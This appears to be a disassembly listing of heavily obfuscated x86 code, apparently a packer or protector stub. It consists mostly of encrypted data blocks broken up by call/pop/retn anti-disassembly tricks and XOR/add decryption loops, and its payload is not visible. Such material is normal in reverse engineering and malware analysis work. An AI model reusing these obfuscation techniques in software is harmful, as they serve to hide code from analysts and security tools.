		dd 564A3036h, 0DACDAB13h, 0F05E5A39h, 22CFB0FFh, 9D8B921Ah
		dd 7E91255h, 880F50h, 89000000h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 25079C3h
		dd 0A498BB92h, 0FF6414D4h, 35h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 2BE079A9h
		dd 64FAAB2Ah, 2589h, 8E0F0000h,	0
; ---------------------------------------------------------------------------
		inc	dword ptr [ebp+7E90F9Dh]
		push	0
		push	ebp
		call	sub_5CFCD9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFCD9	proc near		; CODE XREF: sdfs____:005CFCD1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CFCD9	endp

; ---------------------------------------------------------------------------
		db 34h,	66h, 8Fh
		dd 37E98D63h, 31F5BD89h, 0BD8B07E9h, 7E91B21h, 6AFF6Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B5FF17C3h, 7E91E05h, 0BADB501h, 95FF07E9h, 7E9233Dh
		dd 107E9h, 0BE900h, 9410000h, 4AD2DB64h, 3FE4CBF0h, 8000B0DEh
		dd 70E669D3h, 0CB19531h, 71E407E9h, 15E5BD29h, 613C07E9h
		dd 0DA830Fh, 0B5290000h, 7E90119h, 0B60FD98Bh, 11E9C8h
		dd 1E010000h, 5721FB76h, 7BD01F2Ah, 0C9E027C5h,	0BAE6B91Fh
		dd 6, 0B5E626BBh, 66C18B5Fh, 0C1DE0ABFh, 9D8B04E8h, 7E921FDh
		dd 89E2F766h, 0E92ACDB5h, 0E9C82B07h, 0Dh, 0E31C44C0h
		dd 8A82A2BEh, 0C3322CA7h, 66D18BEBh, 0E99FC3BBh, 3, 8BDFBF0Fh
		dd 0E92DE185h, 835B5107h, 816607C0h, 83FAC4C7h,	850F00C0h
		dd 6, 2A4D9D8Bh, 0D03B07E9h, 26830Fh, 8B600000h, 0E91CEDB5h
		dd 13E907h, 25D80000h, 0BAEF8438h, 22B716DFh, 3702FFF2h
		dd 268AFB21h, 29E961AEh, 0F5000000h, 2FE18D8Bh,	850F07E9h
		dd 0
; ---------------------------------------------------------------------------
		and	ecx, 1
		jz	loc_5CFE38
		and	dword ptr [ebp+7E92FE1h], 0FFFFFFFEh
		mov	[ebp+7E92DE1h],	edx
		cmc
		jmp	$+5


loc_5CFE38:				; CODE XREF: sdfs____:005CFE1Fj
		lea	esi, [ebp+7ED28B7h]
		push	0
		push	ebp
		call	sub_5CFE49
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE49	proc near		; CODE XREF: sdfs____:005CFE41p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CFE49	endp

; ---------------------------------------------------------------------------
		db 85h,	5Dh, 59h
		dd 4CC1E0AFh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 19F4AC3h, 0FFA017DFh, 0E90C3195h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 23395576h, 7DEB97Eh, 0BD8B0000h,	7E91DEDh
		dd 29FCE183h, 0E9127D85h, 6AFC07h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0C9DE27C3h, 0CA433FDh
		dd 0A99D8BEAh, 0B807E90Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5CFEF7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFEF7	proc near		; CODE XREF: sdfs____:005CFEEFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5CFEF7	endp

; ---------------------------------------------------------------------------
		db 0ABh
		dd 0A0759392h, 8BFCC1AFh, 0E91AA99Dh, 0BA07h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8B663BC3h, 0C233ADF9h, 0D003E8D1h, 7504E983h, 0D8BF66F4h
		dd 880D4Ch, 0BF660000h,	958B242Eh, 7E9320Dh, 0F818589h
		dd 8D8B07E9h, 7E922E5h,	1D91BD8Bh, 8B5007E9h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0C1C35141h,	0E86034B2h, 0Bh
		dd 40EF6AB6h, 0A1BE8043h, 66CB2C0Eh, 5F7719BAh,	0C5BD0B50h
		dd 5F07E925h, 6890F61h,	29000000h, 0E92E598Dh, 2DBD8307h
		dd 7E91Ch, 4C840Fh, 9D8B0000h, 7E91F99h, 0B8h, 29BF6600h
		dd 5A8D8DF7h, 0BB07E94Dh, 1E3A2F4Bh, 6AE1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4E134BC3h
		dd 742BEA45h, 0B529C4EAh, 7E90B61h, 1D75BD33h, 0BD8307E9h
		dd 7E922B1h, 5F840F00h,	0E9000003h, 6, 89E31D86h, 0BD83A5D0h
		dd 7E922B1h, 62840F01h,	83000003h, 0E922B1BDh, 860F0307h
		dd 31Fh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	5BC35040h, 0D82379Dh, 4F03D01h,	158DBD33h, 2BF07E9h
		dd 60426E18h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0A6C35141h, 0E84DD8h, 80D98C66h, 6A04E1h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9ABB76C3h, 0BF29B488h, 64801ACEh, 840FC90Ah,	11Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 62C35242h, 8BF98A61h
		dd 0E90C5585h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 20FA6E9Ah, 0EC7E4A68h
		dd 9D8B3B0Dh, 7E91B81h,	1CE98533h, 958907E9h, 7E91A0Dh
		dd 50D88B66h, 0EE9h, 0F67D7C00h, 1246B5AEh, 0B8E2E731h
		dd 899AECFDh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 9E551DC3h, 189BE230h, 0D88BA65Eh
		dd 5368006Ah, 56A09EEEh, 0B422F0BFh, 4815B64h, 8015AC24h
		dd 0BE95Fh, 37740000h, 7AAF5353h, 208AA5B8h, 0D995FF58h
		dd 6A07E902h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8922C353h, 0ECD78585h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0E081047Ch, 6830FE3h, 1000000h, 0E91359B5h, 122E907h
		dd 858B0000h, 7ECD77Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 33C35242h, 77318233h,	0D9C197EFh, 21C9BD31h
		dd 0C707E9h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	7FC35646h, 88BF7093h, 8B4BFCB8h, 0ECD781B5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0C78166D3h, 858B41B0h, 7E91859h, 7531BF66h, 29B18589h
		dd 68907E9h, 18219D8Bh,	8BF507E9h, 0E90C5585h, 0DFBB6607h
		dd 446895Dh, 2139BD8Bh,	0E95007E9h, 0Dh, 0C2A6E843h, 4F350BCDh
		dd 0F83AB423h, 243489FCh, 2A5D9D8Bh, 0B5FF07E9h, 7ECD77Dh
		dd 82AC68FCh, 11BBA82Ah, 816BC4EBh, 81532404h, 6A57F4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FFA63FC3h, 269BD33h, 858D07E9h, 7ECD785h, 1271B589h
		dd 8B5007E9h, 240489F8h, 2D995FFh, 953107E9h, 7E90765h
		dd 0C7816661h, 85C7E5CBh, 7E922B1h, 3, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0C3C35141h,	2879A163h, 18BDBD8Bh
		dd 0F55007E9h, 85BD835Fh, 7ECD7h, 19840Fh, 81660000h, 0E9884ACBh
		dd 2Ah,	6820Fh,	0BD230000h, 7E93219h, 50F98B66h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 850FCEC3h, 6, 22ED9D23h, 0E5BB07E9h,	8308F9BFh, 0E922B1BDh
		dd 850F0307h, 48Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 74C35545h, 970E9A21h,	0D785BD83h, 0F0007ECh
		dd 45D84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 8333C244h, 0E967DE1Dh, 0Fh, 0EF922FB2h
		dd 967240B8h, 0DAC97532h, 665F1B3Dh, 0FFFAB6BFh, 0ECD785B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 9C4705Fh, 0E91F7DBDh, 0EFEBBB07h, 95FF3543h
		dd 7E91349h, 6BEF8166h,	79B58B84h, 6A07ECD7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8966C356h, 0E92B2DB5h, 106C707h, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0EE66C355h, 0BDA29BFCh, 0B257DA5h, 14E950h, 739D0000h
		dd 6F7F8CBDh, 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 3489A51Fh
		dd 39958924h, 0FF07E913h, 0ECD785B5h, 9701BF07h, 95FF3C97h
		dd 7E91AB1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0FAC35343h, 0A569CD28h,	0F26EC261h, 0D779B58Bh
		dd 6A07ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 934341C3h, 0D7ADAAB4h, 1C35BD8Bh,	8B6607E9h
		dd 49858BDEh, 6A07E924h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0F091C351h,	699AFA68h
		dd 8BB98074h, 0E92381BDh, 0C4868907h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0BB4C355h, 0E9017D9Dh, 5DB53107h, 8B07E92Ah,	0E9320D95h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 952937D0h, 7E90C59h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 87FBC356h, 3E622A3h,	8C0F52F1h, 2, 895B6160h, 6A2050h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0A900ADC3h, 50E6710Bh, 49858969h, 8D07E902h,	0ECECA185h
		dd 799D8B07h, 8907E92Fh, 0B886h, 0E9006A00h, 9,	208045DCh
		dd 2782C1BEh, 14E967h, 0A7480000h, 8824407Ah, 73B6C16Ah
		dd 6763C9ACh, 8BB8647h,	0B5FFC3B8h, 7ECD785h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EEC35343h, 3751D61Bh
		dd 0FF533126h, 0E902CD95h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 33F4FE44h
		dd 0E92015BDh, 52505007h, 8E0F53h, 5B000000h, 8B66310Fh
		dd 89585AF8h, 0E3802434h, 85B5FF37h, 6A07ECD7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A9A5C352h, 0BAD331A6h, 0FDB7A77Bh, 0B7D8509h
		dd 9D8B07E9h, 7E924F1h,	302D95FFh, 852907E9h, 7E91885h
		dd 1EC9BD83h, 0F0007E9h, 5184h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 4C13B1E7h
		dd 62B365D2h, 0EEBB667Dh, 70BF96F6h, 506A7CD4h,	2AAEC8BFh
		dd 6A966Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0B5FF2AC3h, 7ECD785h, 0FFC4EF80h,	0E91F9D95h
		dd 0CE807h, 1B680000h, 1F0DA8D8h, 0CB883B5Dh, 5FF8B2DCh
		dd 0D785B5FFh, 6A07ECh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 8B96BDC3h, 98D1CF35h, 29E053F6h
		dd 0E92015BDh, 3995FF07h, 907E901h, 0E9119195h,	0CDBD8307h
		dd 207E929h, 42840Fh, 0FE90000h, 7B000000h, 7B0DAC17h
		dd 1E4E0A60h, 0AC5A3765h, 858BFB46h, 7E90875h, 11758D89h
		dd 0C607E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0DE8B6DA0h, 24AD85C7h, 7E9h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0FB35EFC3h, 43DC0ABEh, 5258443Ch, 3EFEBFh, 71E95F1Dh
		dd 23FFFFF4h, 0E90C91BDh, 60C18B07h, 1AD99D89h,	0B76107E9h
		dd 61858D98h, 8B07E908h, 0E92B71BDh, 66509007h,	5B2B93BFh
		dd 90FB8B50h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0E3C35040h, 1E6A4F86h, 8B66A2E9h, 89006AD9h, 0E91BE995h
		dd 6A006A07h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 7AA0C357h, 750089B3h, 0F87DB51Fh
		dd 0CD20858Dh, 6A07EDh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0AC56BDC3h, 0E085BD42h, 5C08347h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 20C35545h
		dd 0E88CB8ABh, 0CE9C9h,	0B0FB0000h, 433F3F8Bh, 6309A631h
		dd 0F90BE27h, 889h, 2830F00h, 8B000000h, 0F9050F9h, 1384h
		dd 0EE900h, 8B1B0000h, 5C339578h, 0FF42A668h, 0B64D66D2h
		dd 3555BD09h, 6A07E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 6C35343h, 0CB444D5Ch,	0C6C38166h, 0F006A50h
		dd 0C83h, 68D0F00h, 8B000000h, 0E901B99Dh, 0B995FF07h
		dd 6607E90Fh, 8DA76DBBh, 0ECD72C8Dh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FFFC003Ah
		dd 56006AD1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0A188E149h, 10E6B1B0h, 8D89238Eh, 7E91AD9h
		dd 1B69BD83h, 0F0107E9h, 0A185h, 25B58900h, 6A07E92Bh
		dd 53006A02h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 40982B1Eh, 0BE912h, 9EB50000h, 93245990h
		dd 8A4C4B87h, 6EBB90C1h, 505786BEh, 1A830F50h, 0E8000000h
		dd 14h,	0CB8056B9h, 0BB4E91D4h,	0F810A070h, 205A4312h
		dd 3624B688h, 0F905B5Bh, 68Dh, 0B1E78100h, 0FF77ACF5h
		dd 0E902CD95h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BE97AFBh, 2A000000h
		dd 0A50E58h, 0E7074D71h, 74E95AE8h, 0E800000Dh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7EDCD2Ah
		push	0
		push	ecx
		call	sub_5D0AF6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0AF6	proc near		; CODE XREF: sdfs____:005D0AEEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5D0AF6	endp

; ---------------------------------------------------------------------------
		dw 2FE3h
		dd 5870A39Dh, 5B62D9B4h, 0BF18D31h, 0F98B07E9h,	0B406858Dh
		dd 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F98412C3h, 0E90941A6h, 13h, 2B6D59FBh, 19BBFD81h
		dd 0E3AC4D54h, 1327BE0Eh, 908CBA6Ah, 0B5899050h, 7E92AFDh
		dd 35FF64h, 66000000h, 64F088BBh, 2589h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 129B8CC3h, 84B8F374h, 159D0B6Fh, 0FF07E923h,	0E90F9D85h
		dd 0D3EF8007h, 8D89FF6Ah, 7E91885h, 1F55B5FFh, 6A07E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 21C15C3h, 30F3D66h, 0E8F3C381h, 95FF621Ah, 7E9233Dh
		dd 0E8E9h, 0E800B000h, 0Eh, 2CC99F82h, 38EF120Ch, 0CBB0BB8Eh
		dd 66607524h, 61A1AFBFh, 8170E65Fh, 334499E7h, 8B71E45Ch
		dd 3CFB8BFEh, 0B6830F61h, 1000000h, 0E91341B5h,	0C8B60F07h
		dd 0A37DBF66h, 6BAh, 0EAE78100h, 8B28F331h, 0E90FADBDh
		dd 0F5C18B07h, 0FC04E8C1h, 66E2F766h, 9F06EB81h, 0B589C82Bh
		dd 7E91E19h, 0D18BFB8Bh, 229D9D8Bh, 0AE907E9h, 60000000h
		dd 66F8BF0Fh, 0B2B4E981h, 0C9858B61h, 8B07E917h, 7C083DFh
		dd 5E9h, 10E6B100h, 0C083238Eh,	59BD8B00h, 3B07E931h, 0B830FD0h
		dd 66000000h, 7106D381h, 38E9h,	8D8BF800h, 7E91911h, 231D9D8Bh
		dd 0E18307E9h, 22840F01h, 89000000h, 0E92681B5h, 11A58307h
		dd 0FE07E919h, 0DA8BFC8Ah, 17C99589h, 8D2907E9h, 7E90AADh
		dd 0E9h, 84B58D00h, 0F07ED38h, 689h, 0EDBD8900h, 6A07E902h
		dd 0BD9D8B00h, 0FF07E907h, 0E90C3195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 2C140B66h, 0B95BBFA9h, 819h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0A5C35747h,	0E9396BD6h, 0BD89243Bh
		dd 7E911FDh, 0E183FE8Bh, 0D88B66FCh, 57006AFCh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 1B5FBDAh, 6DB3C115h
		dd 0D5D7D381h, 0C02B7A55h, 8D895060h, 7E92975h,	0C6816659h
		dd 2B617BB1h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 33791A93h, 0B89965E0h, 33AD4AFAh
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 3E2379C3h, 0DF816650h
		dd 8A5B268Dh, 880DF9h, 0B70F0000h, 0D958BDAh, 6A07E932h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B01C352h, 0E922E58Dh, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 28879AE0h
		dd 31D60C30h, 0E911758Dh, 0D8BF6607h, 0C28B5062h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 2533C353h
		dd 299B5921h, 0F869DFF3h, 1C2DBD83h, 0F0007E9h,	0BB84h
		dd 85858900h, 0E807E91Fh, 7, 67C5BB79h,	8BB46C89h, 0E92C759Dh
		dd 0B85B07h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0E3ECC357h,	2D4CC4CEh
		dd 5A8D8DA7h, 6A07E94Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 65ADC351h, 0BFA83A84h
		dd 48A4BA80h, 2D858960h, 0E807E924h, 8,	6D5F351Bh, 4F19C4E1h
		dd 11E9h, 68103000h, 0C956C01Ah, 44DF7865h, 563153DDh
		dd 615B37C8h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 850F5BC3h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E922B1h], 0
		jz	loc_5D13FC
		push	0
		push	ebx
		call	sub_5D0F4C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0F4C	proc near		; CODE XREF: sdfs____:005D0F44p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D0F4C	endp

; ---------------------------------------------------------------------------
		dd 6D9D896Ah, 8307E90Ch, 0E922B1BDh, 840F0107h,	4A7h, 6E9h
		dd 0C463700h, 837F3C8Ch, 0E922B1BDh, 860F0307h,	459h, 6810F60h
		dd 89000000h, 0E909098Dh, 35BA6607h, 6A6061E9h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 52C5C351h, 9AB96B56h, 0CF816676h, 0BB66B27Ah, 8C66DD21h
		dd 0AE8D9h, 9DE50000h, 0BEFFFED1h, 53CD9A26h, 20819589h
		dd 665B07E9h, 0E180DE8Bh, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0A2EAE259h
		dd 0BFC8CF36h, 6C51DA82h, 840FC90Ah, 154h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F4C35747h, 95F1A21h
		dd 0E92B25BDh, 55858B07h, 6A07E90Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D2CCC356h
		dd 5E8h, 8465AD00h, 7E9A83Ah, 71000000h, 8CBFC48Fh, 335F40C1h
		dd 0E91CE985h, 6850F07h, 89000000h, 0E924E9B5h,	0BB669007h
		dd 0E9503C4Eh, 0Ch, 35504231h, 0B8BE3986h, 0B92D3A9h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 1D7E5D08h, 0BBD1FE6Bh, 4C1E3816h, 0E8F9006Ah, 4, 1F03FFh
		dd 24448B50h, 8BF98B04h, 6E900h, 0A8510000h, 0CE45AABCh
		dd 4244489h, 0DE8h, 5B743A00h, 0D093DF5Dh, 1542944Fh, 8B663804h
		dd 81585BD8h, 368B74E7h, 0D995FF41h, 6A07E902h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 249DC351h, 7ED78017h, 2D18589h, 858907E9h, 7ECD785h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 31C35343h
		dd 8B7BB38Ch, 0E93165BDh, 1EAE907h, 9D8B0000h, 7E90F1Dh
		dd 0D77D858Bh, 6A07ECh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0FE9ABC3h, 58000000h, 0F281665Eh
		dd 6BD1809Ch, 6EE34C52h, 0C73561h, 18h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 0C9C35040h, 3518A3Ch
		dd 31B36F0Ah, 0E9216D95h, 81B58B07h, 6607ECD7h,	0BB3CE0BFh
		dd 62E98D99h, 1859858Bh, 8B6607E9h, 999509FEh, 8907E91Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 858B66D2h, 7E90C55h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 4AC35545h, 9026A47Dh, 89829531h
		dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD89AAC3h, 7E93139h, 89FE8B50h, 8B662434h
		dd 7DB5FFF9h, 0F07ECD7h, 0C8Eh,	7E900h,	0F5280000h, 945ACF78h
		dd 4E82Fh, 3FF0000h, 8B50001Fh,	24448BD8h, 50008B04h, 0F616052h
		dd 12B6BB31h, 585A28D4h, 4244489h, 5058F88Bh, 3541BD8Bh
		dd 8D5B07E9h, 0ECD78585h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 88167643h
		dd 1DBD895Ch, 5007E922h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D740C351h
		dd 0C1C1EF91h, 1C8274A3h, 1A6DB589h, 95FF07E9h,	7E902D9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CEC35242h
		dd 0C9936610h, 14E898h,	12130000h, 9851711Ch, 815E8D76h
		dd 0A2E771BAh, 0BC3EC211h, 810F14E0h, 3, 5BD8B70Fh, 48C0F61h
		dd 66000000h, 0C7BDC7BFh, 0E922B185h, 307h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 95A95276h, 0A6809BEAh, 0B70F3F6Ah, 85BD83F9h, 7ECD7h
		dd 4B840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 70F510C3h, 988E779Ah, 3EE90Dh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BB027C3h, 0E92B35BDh, 0C305007h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h
; ---------------------------------------------------------------------------


loc_5D13FC:				; CODE XREF: sdfs____:005D0F3Bj
					; sdfs____:005D1413j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D13FC
		jmp	short loc_5D1432
; ---------------------------------------------------------------------------


loc_5D1417:				; CODE XREF: sdfs____:005D142Ej
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D1417
		jmp	short $+2


loc_5D1432:				; CODE XREF: sdfs____:005D1415j
		mov	eax, eax
		pusha
		mov	[ebp+7E92E91h],	ebx
		mov	[ebp+7E92A8Dh],	ecx
		popa
		cmp	dword ptr [ebp+7E922B1h], 3
		jnz	loc_5D181A
		push	0
		push	ecx
		call	sub_5D145A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D145A	proc near		; CODE XREF: sdfs____:005D1452p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D145A	endp

; ---------------------------------------------------------------------------
		enter	0FFFFBD89h, 0E5h
		and	ecx, ebp
		pop	es
		pusha
		cmc
		mov	eax, [ebp+7E93449h]
		popa
		cmp	dword ptr [ebp+7ECD785h], 0
		jz	loc_5D181A
		push	0
		push	eax
		call	sub_5D1492
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1492	proc near		; CODE XREF: sdfs____:005D148Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D1492	endp

; ---------------------------------------------------------------------------
		dw 9839h
		dd 0FF9DB3CEh, 0ECD785B5h, 0FFDA8A07h, 0E9134995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0D3CD1A7Fh, 0A9F6FE36h, 0B5BD2Bh, 0B58B07E9h, 7ECD779h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2AC35545h
		dd 776DED50h, 9E6C6BBBh, 106C7h, 8B960001h, 5F5350DFh
		dd 6880F96h, 8B000000h,	0E92FE9BDh, 41B58907h, 0FF07E92Eh
